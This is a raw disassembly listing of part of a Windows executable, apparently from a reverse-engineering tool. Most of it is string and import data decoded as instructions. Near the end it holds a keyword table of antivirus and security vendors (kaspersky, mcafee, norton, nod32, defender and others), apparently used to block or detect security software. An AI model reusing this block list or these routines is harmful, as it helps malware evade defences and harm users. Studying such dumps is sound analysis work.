loc_9A1DF7:				; CODE XREF: .text:009A1D8Aj
		db	65h
		jnb	short near ptr loc_9A1E39+2
		add	ah, cl
		pop	esi


loc_9A1DFD:				; CODE XREF: .text:loc_9A1D94j
		add	[edi+65h], eax


loc_9A1E00:				; CODE XREF: .text:loc_9A1D91j
		jz	short loc_9A1E48
		imul	ebp, [ebp+54h],	656D69h
		mov	word ptr [ebx],	es
		push	edi


loc_9A1E0D:				; CODE XREF: .text:009A1DC7j
		jb	short near ptr loc_9A1E76+2
		jz	short loc_9A1E76
		inc	esi
		imul	ebp, [ebp+0], 655302FEh


loc_9A1E1A:				; CODE XREF: .text:009A1DB2j
		jz	short near ptr loc_9A1E60+1
		outsb
		db	64h
		dec	edi
		inc	si


loc_9A1E21:				; CODE XREF: .text:loc_9A1DCFj
					; .text:009A1DDBj ...
		imul	ebp, [ebp+0], 540347C0h


loc_9A1E29:				; CODE XREF: .text:009A1DAEj
		db	65h
		jb	short near ptr loc_9A1E98+1


loc_9A1E2C:				; CODE XREF: .text:loc_9A1DBEj
					; .text:009A1DEAj
		imul	ebp, [esi+61h],	72506574h


loc_9A1E33:				; CODE XREF: .text:009A1DCCj
		outsd
		arpl	[ebp+73h], sp
		jnb	short $+2


loc_9A1E39:				; CODE XREF: .text:loc_9A1DF7j
		db	3Eh
		jnz	short near ptr loc_9A1E3D+1
		dec	edi


loc_9A1E3D:				; CODE XREF: .text:009A1DCAj
					; .text:loc_9A1E39j
		jo	short near ptr loc_9A1E9E+6
		outsb
		push	eax


loc_9A1E41:				; CODE XREF: .text:009A1DD1j
		jb	short near ptr loc_9A1EB1+1
		arpl	[ebp+73h], sp
		jnb	short $+2


loc_9A1E48:				; CODE XREF: .text:loc_9A1E00j
		dec	ebx
		add	edx, [eax+ebp*2+72h]
		db	65h
		popa
		xor	esi, fs:[edx]
		dec	esi
		db	65h
		js	short near ptr loc_9A1EC9+1
		add	ch, cl
		inc	ecx
		add	edx, [ebx+75h]
		jnb	short loc_9A1ECE
		outs	dx, byte ptr gs:[esi]


loc_9A1E60:				; CODE XREF: .text:loc_9A1E1Aj
		db	64h
		push	esp
		push	64616572h
		add	[ecx+2], bh
		dec	edi
		jo	short loc_9A1ED2
		outsb
		push	esp
		push	64616572h
		add	[ebx], ch


loc_9A1E76:				; CODE XREF: .text:009A1E0Fj
					; .text:loc_9A1E0Dj
		repne add [edi+6Ch], eax
		outsd
		bound	esp, [ecx+6Ch]
		inc	esi
		jb	short near ptr loc_9A1EE4+2
		db	65h
		add	ch, cl
		push	65724300h
		popa
		jz	short loc_9A1EF1
		push	edx
		db	65h
		insd
		outsd
		jz	short loc_9A1EF7
		push	esp
		push	64616572h


loc_9A1E98:				; CODE XREF: .text:loc_9A1E29j
		add	ah, dl
		xchg	eax, ebp
		add	edx, [edi+72h]


loc_9A1E9E:				; CODE XREF: .text:loc_9A1E3Dj
		imul	esi, [ebp+50h],	65636F72h
		jnb	short loc_9A1F1B
		dec	ebp
		db	65h
		insd
		outsd
		jb	short near ptr loc_9A1F24+3
		add	ch, cl
		insb


loc_9A1EB1:				; CODE XREF: .text:loc_9A1E41j
		add	edx, [esi+69h]
		jb	short near ptr loc_9A1F24+6
		jnz	short near ptr loc_9A1F18+1
		insb
		inc	ecx
		insb
		insb
		outsd
		arpl	[ebp+78h], ax
		add	cl, dl
		cmpsd
		add	dl, [edx+65h]
		popa
		db	64h
		push	eax


loc_9A1EC9:				; CODE XREF: .text:009A1E53j
		jb	short near ptr loc_9A1F35+5
		arpl	[ebp+73h], sp


loc_9A1ECE:				; CODE XREF: .text:009A1E5Cj
		jnb	short near ptr loc_9A1F1B+2
		db	65h
		insd


loc_9A1ED2:				; CODE XREF: .text:009A1E6Bj
		outsd
		jb	short near ptr loc_9A1F4D+1
		add	ds:74655303h, al
		inc	esi
		imul	ebp, [ebp+41h],	69727474h


loc_9A1EE4:				; CODE XREF: .text:009A1E7Fj
		bound	esi, [ebp+74h]
		db	65h
		jnb	short near ptr loc_9A1F24+7
		add	dh, cl
		arpl	[eax], ax
		inc	ebx
		jb	short loc_9A1F56


loc_9A1EF1:				; CODE XREF: .text:009A1E8Aj
		popa
		jz	short near ptr loc_9A1F57+2
		push	eax
		jb	short near ptr loc_9A1F60+6


loc_9A1EF7:				; CODE XREF: .text:009A1E90j
		arpl	[ebp+73h], sp
		jnb	short loc_9A1F3D
		add	[edi], bl
		dec	esp
		add	cl, [edi+ebp*2+63h]
		popa
		insb
		inc	esi
		jb	short near ptr loc_9A1F6C+1
		add	gs:[ebx+3], dh
		push	esi
		imul	esi, [edx+74h],	516C6175h
		jnz	short near ptr loc_9A1F7A+1
		jb	short loc_9A1F91


loc_9A1F18:				; CODE XREF: .text:009A1EB6j
		add	[edx-39h], cl


loc_9A1F1B:				; CODE XREF: .text:009A1EA6j
					; .text:loc_9A1ECEj
		add	[edi+65h], eax
		jz	short near ptr loc_9A1F70+4
		db	65h
		insd
		jo	short loc_9A1F6A


loc_9A1F24:				; CODE XREF: .text:009A1EACj
					; .text:009A1EB4j ...
		imul	ebp, [ebp+4Eh],	41656D61h
		add	[ebp-0Fh], al
		add	[esi+72h], al
		db	65h, 65h
		dec	esp


loc_9A1F35:				; CODE XREF: .text:loc_9A1EC9j
		imul	esp, [edx+72h],	797261h
		inc	esp


loc_9A1F3D:				; CODE XREF: .text:009A1EFAj
		add	edx, [ebx+79h]
		jnb	short near ptr loc_9A1FB3+3
		db	65h
		insd
		push	esp
		imul	ebp, [ebp+65h],	69466F54h
		insb


loc_9A1F4D:				; CODE XREF: .text:009A1ED3j
		db	65h
		push	esp
		imul	ebp, [ebp+65h],	1BCCE00h


loc_9A1F56:				; CODE XREF: .text:009A1EEFj
		inc	edi


loc_9A1F57:				; CODE XREF: .text:009A1EF2j
		db	65h
		jz	short loc_9A1FAD
		jns	short loc_9A1FCF
		jz	short near ptr loc_9A1FC2+1
		insd
		push	esp


loc_9A1F60:				; CODE XREF: .text:009A1EF5j
		imul	ebp, [ebp+65h],	4701BE00h
		db	65h
		jz	short near ptr loc_9A1FBB+2


loc_9A1F6A:				; CODE XREF: .text:009A1F22j
		jns	short near ptr loc_9A1FDD+2


loc_9A1F6C:				; CODE XREF: .text:009A1F06j
		jz	short loc_9A1FD3
		insd
		push	esp


loc_9A1F70:				; CODE XREF: .text:009A1F1Ej
		imul	ebp, [ebp+65h],	69467341h
		insb
		db	65h
		push	esp


loc_9A1F7A:				; CODE XREF: .text:009A1F14j
		imul	ebp, [ebp+65h],	5202C500h
		jz	short loc_9A1FEF
		push	ebp
		outsb
		ja	short near ptr loc_9A1FEF+1
		outsb
		add	fs:[ecx+eax+47h], dh
		db	65h
		jz	short loc_9A1FDD
		outsd


loc_9A1F91:				; CODE XREF: .text:009A1F16j
		db	64h
		jnz	short loc_9A2000
		db	65h
		inc	esi
		imul	ebp, [ebp+4Eh],	41656D61h
		add	bh, cl
		xchg	eax, [edx]
		push	eax
		jb	short near ptr dword_9A2014
		arpl	[ebp+73h], sp
		jnb	short loc_9A1FDD
		xor	cl, [esi+65h]


loc_9A1FAD:				; CODE XREF: .text:loc_9A1F57j
		js	short loc_9A2023
		add	[edx+3], cl
		push	esp


loc_9A1FB3:				; CODE XREF: .text:009A1F40j
		push	64616572h
		xor	esi, [edx]
		inc	esi


loc_9A1FBB:				; CODE XREF: .text:009A1F67j
		imul	esi, [edx+73h],	736D0074h


loc_9A1FC2:				; CODE XREF: .text:009A1F5Cj
		jbe	short near ptr loc_9A2025+2
		jb	short loc_9A203A
		db	2Eh, 64h
		insb
		insb
		add	bh, cl
; ---------------------------------------------------------------------------
		db 2 dup(0), 5Fh
; ---------------------------------------------------------------------------


loc_9A1FCF:				; CODE XREF: .text:009A1F5Aj
		popa
		db	64h
		push	75h


loc_9A1FD3:				; CODE XREF: .text:loc_9A1F6Cj
		jnb	short near ptr byte_9A2049
		pop	edi
		imul	si, fs:[esi+0],	0D0h


loc_9A1FDD:				; CODE XREF: .text:009A1F8Dj
					; .text:009A1FA8j ...
		add	[edi+69h], bl
		outsb
		imul	esi, [esp+esi*2+65h], 6D72h
		add	[ebx+61h], ah
		insb
		insb
		outsd


loc_9A1FEF:				; CODE XREF: .text:009A1F81j
					; .text:009A1F85j
		arpl	[eax], ax
		add	ss:[eax], al
		insd
		db	65h
		insd
		arpl	[ebp+70h], bp
		add	al, dl
; ---------------------------------------------------------------------------
		dd 74730000h
; ---------------------------------------------------------------------------


loc_9A2000:				; CODE XREF: .text:loc_9A1F91j
		jb	short loc_9A2065
		popa
		jz	short $+2
		pop	ecx
; ---------------------------------------------------------------------------
		dw 0
aLabs		db 'labs',0
		db '',0
		align 10h
aSin		db 'sin',0
dword_9A2014	dd 6F6C0000h, 67h, 74727473h ; CODE XREF: .text:009A1FA3j
		db 6Fh,	6Bh, 0
; ---------------------------------------------------------------------------


loc_9A2023:				; CODE XREF: .text:loc_9A1FADj
		rol	byte ptr [eax],	1


loc_9A2025:				; CODE XREF: .text:loc_9A1FC2j
		add	[ecx+74h], ah
		outsd
		imul	eax, [eax], 770000D0h
		arpl	[ebx+63h], si
		jo	short near ptr loc_9A20AC+1
		add	[ebx+63770000h], cl


loc_9A203A:				; CODE XREF: .text:009A1FC4j
		jnb	short loc_9A209F
		popa
		jz	short $+2
		rol	byte ptr [eax],	1
		add	[edi+77h], bl
		arpl	[ebx+64h], si
		jnz	short loc_9A20B9
; ---------------------------------------------------------------------------
byte_9A2049	db 3 dup(0)		; CODE XREF: .text:loc_9A1FD3j
aMalloc		db 'malloc',0
		db '',0
		align 2
aFree		db 'free',0
		db '',0
		align 2
aMemcpy		db 'memcpy',0
; ---------------------------------------------------------------------------


loc_9A2065:				; CODE XREF: .text:loc_9A2000j
		repne add [eax], al
		insd
		db	65h
		insd
		jnb	short near ptr word_9A20D2
		jz	short $+2
		rol	byte ptr [eax],	1
		add	[edi+63h], dh
		jnb	short loc_9A20E9
		jz	short near ptr loc_9A20E9+1
		add	al, cl
; ---------------------------------------------------------------------------
		dw 0
a_snwprintf	db '_snwprintf',0
		db '',0
		align 2
aWcsncmp	db 'wcsncmp',0
		align 4
aWcsncpy	db 'wcsncpy',0
		db 2 dup(0), 5Fh
; ---------------------------------------------------------------------------


loc_9A209F:				; CODE XREF: .text:loc_9A203Aj
		ja	short near ptr dword_9A2104
		jnb	short near ptr loc_9A210F+2
		imul	esp, [ebx+6Dh],	70h
		ja	short loc_9A210F


loc_9A20AC:				; CODE XREF: .text:009A2032j
		jnb	short loc_9A211C
		arpl	[ecx+74h], sp
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 6C736377h
		db 65h
; ---------------------------------------------------------------------------


loc_9A20B9:				; CODE XREF: .text:009A2047j
		outsb
		add	al, dl
; ---------------------------------------------------------------------------
		dd 775F0000h, 63697363h, 0D000706Dh, 735F0000h,	776C7274h
		db 72h,	0
word_9A20D2	dw 0			; CODE XREF: .text:009A206Bj
aStrstr		db 'strstr',0
		db '',0
		align 2
a_strnicmp	db '_strnicmp',0
		db 0
; ---------------------------------------------------------------------------


loc_9A20E9:				; CODE XREF: .text:009A2074j
					; .text:009A2076j
		add	[ebx+72h], dh
		popa
		outsb
		add	fs:[eax], al
		add	[edx+61h], dh
		outsb
		db	64h
		add	cl, dl
; ---------------------------------------------------------------------------
		dd 735F0000h, 6972706Eh, 66746Eh
dword_9A2104	dd 74730000h, 68637272h	; CODE XREF: .text:loc_9A209Fj
		db 72h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_9A210F:				; CODE XREF: .text:009A20AAj
					; .text:009A20A1j
		add	[ebx+74h], dh
		jb	short loc_9A2182
		arpl	[eax+79h], si
; ---------------------------------------------------------------------------
		db 0
		dd 74730000h
; ---------------------------------------------------------------------------


loc_9A211C:				; CODE XREF: .text:loc_9A20ACj
		jb	short loc_9A218A
		outs	dx, byte ptr gs:[esi]
		add	[ebx+735F0000h], bl
		jz	short loc_9A219A
		imul	esp, [ebx+6Dh],	0C20070h
		add	[ebx+74h], dh
		jb	short near ptr word_9A21A2
		arpl	[ecx+74h], sp
		add	[edi+6Ch], ch
		db	65h
		popa
		jnz	short loc_9A21B2
		xor	esi, [edx]
		db	2Eh, 64h
		insb
		insb
		add	[ebx+61560000h], al
		jb	short near ptr loc_9A21B3+2
		popa
		outsb
		jz	short loc_9A2199
		outsb
		imul	esi, [eax+eax+0], 73795300h
		inc	esi
		jb	short loc_9A21C1
		db	65h
		push	ebx
		jz	short loc_9A21D2
		imul	ebp, [esi+67h],	53000000h
		jns	short loc_9A21DC
		push	ebx
		jz	short near ptr loc_9A21DD+1
		imul	ebp, [esi+67h],	6E654Ch
		aad	0
		add	[ebx+79h], dl
		jnb	short loc_9A21BB
		insb
		insb
		outsd
		arpl	[ebx+74h], dx
		jb	short near ptr loc_9A21EA+1


loc_9A2182:				; CODE XREF: .text:009A2112j
		outsb
		add	[si+0],	ch
		push	esi
		popa


loc_9A218A:				; CODE XREF: .text:loc_9A211Cj
		jb	short near ptr loc_9A21F3+2
		popa
		outsb
		jz	short loc_9A21D3
		insb
		db	65h
		popa
		jb	short $+2
		iret
; ---------------------------------------------------------------------------
		dw 6873h
		db 65h
; ---------------------------------------------------------------------------


loc_9A2199:				; CODE XREF: .text:009A214Ej
		insb


loc_9A219A:				; CODE XREF: .text:009A2126j
		insb
		xor	esi, [edx]
		db	2Eh, 64h
		insb
		insb
; ---------------------------------------------------------------------------
		db 0
word_9A21A2	dw 0			; CODE XREF: .text:009A2132j
		dd 65474853h, 65705374h, 6C616963h
		db 46h,	6Fh
; ---------------------------------------------------------------------------


loc_9A21B2:				; CODE XREF: .text:009A213Cj
		insb


loc_9A21B3:				; CODE XREF: .text:009A214Aj
		db	64h, 65h
		jb	short near ptr loc_9A2206+1
		popa
		jz	short near ptr word_9A2222
		inc	ecx


loc_9A21BB:				; CODE XREF: .text:009A2178j
		add	[ebx+68h], dh
		insb
		ja	short near ptr word_9A2222


loc_9A21C1:				; CODE XREF: .text:009A215Aj
		jo	short loc_9A222C
		db	2Eh, 64h
		insb
		insb
; ---------------------------------------------------------------------------
		db 0
		dd 48530000h, 656C6544h
; ---------------------------------------------------------------------------
		jz	short loc_9A2237


loc_9A21D2:				; CODE XREF: .text:009A215Ej
		push	esi


loc_9A21D3:				; CODE XREF: .text:009A218Ej
		popa
		insb
		jnz	short loc_9A223C
		inc	ecx
		add	[ebx], dh
; ---------------------------------------------------------------------------
		dw 0
; ---------------------------------------------------------------------------


loc_9A21DC:				; CODE XREF: .text:009A2167j
		push	ebx


loc_9A21DD:				; CODE XREF: .text:009A216Aj
		jz	short loc_9A2251
		push	ebx
		jz	short loc_9A2254
		dec	ecx
		push	edi
		add	ds:74530000h, dh


loc_9A21EA:				; CODE XREF: .text:009A2180j
		jb	short near ptr loc_9A223E+1
		jz	short near ptr loc_9A225D+3
		dec	ecx
		inc	ecx
		add	[edx+0], al


loc_9A21F3:				; CODE XREF: .text:loc_9A218Aj
		add	[ebx+48h], dl
		inc	esp
		db	65h
		insb
		db	65h
		jz	short near ptr loc_9A225D+4
		dec	ebx
		db	65h
		jns	short loc_9A2257
		add	[ecx+72657375h], cl


loc_9A2206:				; CODE XREF: .text:loc_9A21B3j
		xor	esi, [edx]
		db	2Eh, 64h
		insb
		insb
		add	[ecx+6E450000h], cl
		jnz	short loc_9A2281
		push	esp
		push	64616572h
		push	edi
		imul	ebp, [esi+64h],	73776Fh
; ---------------------------------------------------------------------------
word_9A2222	dw 0			; CODE XREF: .text:009A21B8j
					; .text:009A21BFj
		dd 44746547h, 7449676Ch
; ---------------------------------------------------------------------------


loc_9A222C:				; CODE XREF: .text:loc_9A21C1j
		db	65h
		insd
		add	al, bl
; ---------------------------------------------------------------------------
		dd 6F500000h
; ---------------------------------------------------------------------------
		jnb	short loc_9A22AA
		dec	ebp


loc_9A2237:				; CODE XREF: .text:009A21D0j
		db	65h
		jnb	short loc_9A22AD
		popa
; ---------------------------------------------------------------------------
		db 67h
; ---------------------------------------------------------------------------


loc_9A223C:				; CODE XREF: .text:009A21D5j
		db	65h
		inc	ecx


loc_9A223E:				; CODE XREF: .text:loc_9A21EAj
		add	al, bl
		ja	short loc_9A22AB
		outsb
		imul	ebp, [esi+65h],	6C642E74h
		insb
; ---------------------------------------------------------------------------
		db 0
		dd 6E490000h
		db 74h
; ---------------------------------------------------------------------------


loc_9A2251:				; CODE XREF: .text:loc_9A21DDj
		db	65h
		jb	short loc_9A22C2


loc_9A2254:				; CODE XREF: .text:009A21E0j
		db	65h
		jz	short near ptr word_9A229E


loc_9A2257:				; CODE XREF: .text:009A21FDj
		db	65h
		jz	short near ptr loc_9A229C+1
		outsd
		outsb
		outsb


loc_9A225D:				; CODE XREF: .text:009A21ECj
					; .text:009A21F9j
		arpl	gs:[ebp+64h], si
		push	ebx
		jz	short loc_9A22C6
		jz	short near ptr loc_9A22CA+2
; ---------------------------------------------------------------------------
		db 0
dword_9A2268	dd 6E490000h, 6E726574h, 704F7465h, 416E65h, 6E490000h
					; DATA XREF: .text:009B8200o
		dd 6E726574h
byte_9A2280	db 65h			; DATA XREF: .text:009B81F8o
; ---------------------------------------------------------------------------


loc_9A2281:				; CODE XREF: .text:009A2212j
		jz	short near ptr word_9A22D2
		jo	short loc_9A22EA
		outsb
		push	ebp


loc_9A2287:				; DATA XREF: .text:009B81F4o
		jb	short loc_9A22F5
		inc	ecx
		add	[eax+eax+0], dh
		dec	eax


loc_9A228F:				; DATA XREF: .text:009B81F0o
		jz	short near ptr loc_9A2303+2
		jo	short near ptr dword_9A22E4
		jnz	short loc_9A22FA
		jb	short near ptr dword_9A2310
		dec	ecx


loc_9A2298:				; DATA XREF: .text:009B81ECo
		outsb
		outsw
		inc	ecx


loc_9A229C:				; CODE XREF: .text:loc_9A2257j
		add	[esi], ch
; ---------------------------------------------------------------------------
word_9A229E	dw 0			; CODE XREF: .text:loc_9A2254j
dword_9A22A0	dd 65746E49h, 74656E72h	; DATA XREF: .text:009B81E8o
byte_9A22A8	db 52h,	65h		; DATA XREF: .text:009B81E4o
; ---------------------------------------------------------------------------


loc_9A22AA:				; CODE XREF: .text:009A2234j
		popa


loc_9A22AB:				; CODE XREF: .text:009A2240j
		db	64h
		inc	esi


loc_9A22AD:				; CODE XREF: .text:loc_9A2237j
					; DATA XREF: .text:009B81E0o
		imul	ebp, [ebp+0], 4900006Dh
		outsb
		jz	short loc_9A231D


loc_9A22B8:				; DATA XREF: .text:009B81DCo
		jb	short near ptr loc_9A2327+1
		db	65h
		jz	short near ptr loc_9A22FF+1
		insb
		outsd


loc_9A22BF:				; DATA XREF: .text:009B81D8o
		jnb	short loc_9A2326
		dec	eax


loc_9A22C2:				; CODE XREF: .text:loc_9A2251j
		popa
		outsb


loc_9A22C4:				; DATA XREF: .text:009B81D4o
		db	64h
		insb


loc_9A22C6:				; CODE XREF: .text:009A2263j
		add	gs:[edi+73h], dh


loc_9A22CA:				; CODE XREF: .text:009A2265j
					; DATA XREF: .text:009B81D0o
		xor	bl, [edi+33h]
		xor	ch, [esi]
		db	64h
		insb
		insb
; ---------------------------------------------------------------------------
word_9A22D2	dw 0			; CODE XREF: .text:loc_9A2281j
dword_9A22D4	dd 65670000h, 736F6874h, 6E796274h, 656D61h ; DATA XREF: .text:009B81CCo
					; .text:009B81C8o
dword_9A22E4	dd 6E690000h		; CODE XREF: .text:009A2291j
		db 65h,	74h
; ---------------------------------------------------------------------------


loc_9A22EA:				; CODE XREF: .text:009A2283j
		pop	edi
		outsb


loc_9A22EC:				; DATA XREF: .text:009B81C4o
		jz	short near ptr loc_9A235B+2
		popa
; ---------------------------------------------------------------------------
		db 0
		dd 53570000h
; ---------------------------------------------------------------------------
		inc	ecx


loc_9A22F5:				; CODE XREF: .text:loc_9A2287j
		push	ebx
		jz	short near ptr loc_9A2357+2
		jb	short near ptr loc_9A236D+1


loc_9A22FA:				; CODE XREF: .text:009A2293j
		jnz	short near ptr loc_9A236A+2


loc_9A22FC:				; DATA XREF: .text:009B81C0o
		add	[ecx+0], ch


loc_9A22FF:				; CODE XREF: .text:009A22BAj
		add	[esi+74h], ch
		outsd


loc_9A2303:				; CODE XREF: .text:loc_9A228Fj
					; DATA XREF: .text:009B81BCo
		push	6C6F006Ch
		xor	esi, gs:[edx]


loc_9A230B:				; DATA XREF: .text:009B81B8o
		db	2Eh, 64h
		insb
		insb
; ---------------------------------------------------------------------------
		db 0
dword_9A2310	dd 6F430000h, 74696E49h, 696C6169h ; CODE XREF:	.text:009A2295j
					; DATA XREF: .text:009B81B4o
		db 7Ah
; ---------------------------------------------------------------------------


loc_9A231D:				; CODE XREF: .text:009A22B6j
		db	65h
		inc	ebp


loc_9A231F:				; DATA XREF: .text:009B81B0o
		js	short $+2
		push	6F430000h


loc_9A2326:				; CODE XREF: .text:loc_9A22BFj
		inc	ebx


loc_9A2327:				; CODE XREF: .text:loc_9A22B8j
		jb	short loc_9A238E
		popa
		jz	short near ptr loc_9A238E+3
		dec	ecx
		outsb
		jnb	short near ptr loc_9A239D+7


loc_9A2330:				; DATA XREF: .text:009B81ACo
		popa
		outsb
		arpl	[ebp+0], sp
		jz	short $+2


loc_9A2337:				; DATA XREF: .text:009B81A8o
		add	[ebx+6Fh], al
		push	ebp
		outsb


loc_9A233C:				; DATA XREF: .text:009B81A4o
		imul	ebp, [esi+69h],	6C616974h
		imul	edi, [edx+65h],	6300h
		inc	ebx
		outsd


loc_9A234C:				; DATA XREF: .text:009B81A0o
		dec	ecx
		outsb


loc_9A234E:				; DATA XREF: .text:009B819Co
		imul	esi, [ecx+ebp*2+61h], 657A696Ch
		push	ebx


loc_9A2357:				; CODE XREF: .text:009A22F6j
		arpl	gs:[ebp+72h], si


loc_9A235B:				; CODE XREF: .text:loc_9A22ECj
					; DATA XREF: .text:009B8198o
		imul	esi, [ecx+edi*2+0], 6C72756Dh
		insd
		outsd
		outsb


loc_9A2366:				; DATA XREF: .text:009B8194o
		db	2Eh, 64h
		insb
		insb


loc_9A236A:				; CODE XREF: .text:loc_9A22FAj
		add	[eax+0], ch


loc_9A236D:				; CODE XREF: .text:009A22F8j
		add	[edi+62h], cl


loc_9A2370:				; DATA XREF: .text:009B8190o
		jz	short near ptr loc_9A23D1+2
		imul	ebp, [esi+55h],	41726573h
		outs	dx, byte ptr gs:[si]


loc_9A237C:				; DATA XREF: .text:009B818Co
		jz	short loc_9A23D1
		jz	short loc_9A23F2
		imul	ebp, [esi+67h],	75706D00h
		jz	short loc_9A23F2
		outsb


loc_9A238A:				; DATA XREF: .text:009B8188o
		add	[bp+di+61h], dh


loc_9A238E:				; CODE XREF: .text:loc_9A2327j
					; .text:009A232Aj
		db	66h, 65h
		jz	short loc_9A240B
		db	2Eh
		insb


loc_9A2394:				; DATA XREF: .text:009B8184o
		imul	esi, [esi+65h],	6F6F7200h
		jz	short loc_9A2408


loc_9A239D:				; CODE XREF: .text:009A232Ej
					; DATA XREF: .text:009B8180o
		imul	esi, [eax+eax+72h], 6E697369h
		add	[bx+si], al


loc_9A23A8:				; DATA XREF: .text:009B817Co
		jb	short near ptr loc_9A240E+1
		insd
		outsd
		jbe	short near ptr loc_9A240E+1
		insb


loc_9A23AF:				; DATA XREF: .text:009B8178o
		add	[ecx+75h], dh
		imul	esp, [ebx+6Bh],	6C616568h
; ---------------------------------------------------------------------------
		db 3 dup(0)
aPtsecurity	db 'ptsecurity',0       ; DATA XREF: .text:009B8174o
		align 4
aPrevx		db 'prevx',0            ; DATA XREF: .text:009B8170o
		align 10h
byte_9A23D0	db 70h			; DATA XREF: .text:009B816Co
; ---------------------------------------------------------------------------


loc_9A23D1:				; CODE XREF: .text:loc_9A237Cj
					; .text:loc_9A2370j
		arpl	[edi+ebp*2+6Fh], si
		insb
		jnb	short $+2


loc_9A23D8:				; DATA XREF: .text:009B8168o
		jo	short loc_9A243B
		outsb
		db	64h
		popa
; ---------------------------------------------------------------------------
		db 3 dup(0)
aOnecare	db 'onecare',0          ; DATA XREF: .text:009B8164o
aNorton		db 'norton',0           ; DATA XREF: .text:009B8160o
		align 10h
byte_9A23F0	db 6Eh,	6Fh		; DATA XREF: .text:009B815Co
; ---------------------------------------------------------------------------


loc_9A23F2:				; CODE XREF: .text:009A237Ej
					; .text:009A2387j
		jb	short loc_9A2461
		popa
		outsb
; ---------------------------------------------------------------------------
		dw 0
aNod32		db 'nod32',0            ; DATA XREF: .text:009B8158o
		align 10h
dword_9A2400	dd 7774656Eh, 616B726Fh	; DATA XREF: .text:009B8154o
; ---------------------------------------------------------------------------


loc_9A2408:				; CODE XREF: .text:009A239Bj
		jnb	short near ptr loc_9A247B+2
		outsd


loc_9A240B:				; CODE XREF: .text:loc_9A238Ej
		arpl	[ecx+61h], bp


loc_9A240E:				; CODE XREF: .text:loc_9A23A8j
					; .text:009A23ACj
		jz	short near ptr loc_9A2470+5
		jnb	short $+2
; ---------------------------------------------------------------------------
		dw 0
dword_9A2414	dd 2E63746Dh, 697273h, 766D736Dh, 7370h, 7466736Dh, 6973636Eh
					; DATA XREF: .text:009B8150o
					; .text:009B814Co
		dd 0
aMirage		db 'mirage',0           ; DATA XREF: .text:009B8144o
		align 4
byte_9A2438	db 6Dh,	69h, 63h	; DATA XREF: .text:009B8140o
; ---------------------------------------------------------------------------


loc_9A243B:				; CODE XREF: .text:loc_9A23D8j
		jb	short loc_9A24AC
		jnb	short near ptr loc_9A24AC+2
		db	66h
		jz	short $+3
; ---------------------------------------------------------------------------
		dw 0
aMcafee		db 'mcafee',0           ; DATA XREF: .text:009B813Co
		align 4
aMalware	db 'malware',0          ; DATA XREF: .text:009B8138o
aKaspersky	db 'kaspersky',0        ; DATA XREF: .text:009B8130o
		align 10h
byte_9A2460	db 6Bh			; DATA XREF: .text:009B812Co
; ---------------------------------------------------------------------------


loc_9A2461:				; CODE XREF: .text:loc_9A23F2j
		aaa
		arpl	[edi+6Dh], bp
		jo	short loc_9A24DC
		jz	short near ptr word_9A24D2
		outsb


loc_9A246A:				; DATA XREF: .text:009B8128o
		add	[bp+si+6Fh], ch
		jz	short loc_9A24E4


loc_9A2470:				; CODE XREF: .text:loc_9A240Ej
					; DATA XREF: .text:009B8124o
		imul	eax, [eax], 6B690000h
		popa
		jb	short loc_9A24EE
		jnb	short $+2


loc_9A247B:				; CODE XREF: .text:loc_9A2408j
					; DATA XREF: .text:009B8120o
		add	[eax+61h], ch
		jnz	short near ptr word_9A24F2


loc_9A2480:				; DATA XREF: .text:009B811Co
		imul	eax, [eax], 61680000h
		arpl	[ebx+73h], bp
		outsd
		db	66h
		jz	short $+3
; ---------------------------------------------------------------------------
		db 3 dup(0)
aHackerwatch	db 'hackerwatch',0      ; DATA XREF: .text:009B8118o
aGrisoft	db 'grisoft',0          ; DATA XREF: .text:009B8114o
aGdata		db 'gdata',0            ; DATA XREF: .text:009B8110o
		align 4


loc_9A24AC:				; CODE XREF: .text:loc_9A243Bj
					; .text:009A243Dj
					; DATA XREF: ...
		db	66h
		jb	short loc_9A2514
		db	65h
		popa
		jbe	short $+2


loc_9A24B3:				; DATA XREF: .text:009B8108o
		add	[esi+72h], ah


loc_9A24B6:				; DATA XREF: .text:009B8104o
		db	65h, 65h
		sub	eax, 66007661h
		outsd
		jb	short loc_9A2534
		imul	ebp, [esi+65h],	74h


loc_9A24C7:				; DATA XREF: .text:009B8100o
		add	[esi+2Dh], ah
		jnb	short near ptr byte_9A2531
		arpl	[ebp+72h], si
		add	gs:[eax], al
; ---------------------------------------------------------------------------
word_9A24D2	dw 0			; CODE XREF: .text:009A2467j
dword_9A24D4	dd 72702D66h, 746Fh	; DATA XREF: .text:009B80FCo
; ---------------------------------------------------------------------------


loc_9A24DC:				; CODE XREF: .text:009A2465j
					; DATA XREF: .text:009B80F8o
		db	65h
		ja	short loc_9A2548
		outs	dx, dword ptr fs:[esi]
; ---------------------------------------------------------------------------
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_9A24E4:				; CODE XREF: .text:009A246Ej
					; DATA XREF: .text:009B80F4o
		db	65h
		jz	short loc_9A2559
		jnz	short near ptr loc_9A2559+3
		jz	short $+2


loc_9A24EB:				; DATA XREF: .text:009B80F0o
		add	[ebp+73h], ah


loc_9A24EE:				; CODE XREF: .text:009A2477j
		db	65h
		jz	short $+3
; ---------------------------------------------------------------------------
		db 0
word_9A24F2	dw 0			; CODE XREF: .text:009A247Ej
aEsafe		db 'esafe',0            ; DATA XREF: .text:009B80ECo
		align 4
aEmsisoft	db 'emsisoft',0         ; DATA XREF: .text:009B80E8o
		align 4
aDslreports	db 'dslreports',0       ; DATA XREF: .text:009B80E4o
		align 4


loc_9A2514:				; CODE XREF: .text:loc_9A24ACj
					; DATA XREF: .text:009B80E0o
		db	64h
		jb	short loc_9A258E
		bound	eax, gs:[eax]
; ---------------------------------------------------------------------------
		dw 0
aDefender	db 'defender',0         ; DATA XREF: .text:009B80D8o
		align 4
aCyberTa	db 'cyber-ta',0         ; DATA XREF: .text:009B80D4o
byte_9A2531	db 3 dup(0)		; CODE XREF: .text:009A24CAj
; ---------------------------------------------------------------------------


loc_9A2534:				; CODE XREF: .text:009A24BEj
					; DATA XREF: .text:009B80D0o
		arpl	[eax+73h], si
		arpl	gs:[ebp+72h], si
		add	gs:[eax], al
; ---------------------------------------------------------------------------
		dw 0
dword_9A2540	dd 666E6F63h, 656B6369h	; DATA XREF: .text:009B80CCo
; ---------------------------------------------------------------------------


loc_9A2548:				; CODE XREF: .text:loc_9A24DCj
		jb	short $+2
; ---------------------------------------------------------------------------
		dw 0
dword_9A254C	dd 706D6F63h, 72657475h, 6F737361h ; DATA XREF:	.text:009B80C8o
		db 63h
; ---------------------------------------------------------------------------


